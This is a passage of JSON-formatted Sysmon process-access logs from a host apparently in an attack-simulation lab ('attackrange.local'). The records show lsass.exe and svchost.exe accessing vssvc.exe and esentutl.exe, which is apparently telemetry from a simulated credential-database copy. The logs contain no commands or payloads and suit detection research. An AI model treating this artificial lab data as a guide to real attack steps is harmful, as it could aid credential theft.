C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.291\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 4272\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.291","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"4272","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 4272\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+7d13|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"4272","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+7d13|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 4272\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 